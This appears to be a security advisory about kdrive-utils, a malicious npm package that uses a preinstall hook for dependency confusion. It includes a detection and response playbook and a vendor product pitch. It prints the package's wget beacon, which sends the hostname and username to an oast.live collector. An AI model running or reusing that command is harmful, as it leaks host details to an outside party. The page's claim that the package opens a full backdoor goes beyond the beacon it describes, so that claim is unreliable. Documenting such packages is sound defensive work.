kdrive-utilsnpm
Advisory published Updated
kdrive-utils is a confirmed malicious npm package (MAL-2026-6295) that opens a backdoor for remote access (malicious version 99.9.9). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in kdrive-utils (npm)
What this malware does
package.json declares a preinstall lifecycle script that auto-executes on npm install and runs wget -q -O- "http://d8svb0ao12pnoovdaih0giunhdew5oqa4.oast.live/$(hostname)/$(whoami)". The installer's hostname and current OS username are embedded directly into the request path and sent over plain HTTP to an oast.live (Interactsh / out-of-band application security testing) listener — an attacker-controlled DNS/HTTP collector commonly used for supply-chain reconnaissance and typosquat/dependency-confusion probes. The package is an unscoped name published at version 99.9.9, which is the canonical dependency-confusion shape (high version number to win resolution against an internal package of the same name). No legitimate functionality is shipped beyond the beacon.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for kdrive-utils (version 99.9.9).
If you installed it — respond
kdrive-utils establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If kdrive-utils was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks kdrive-utils-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.
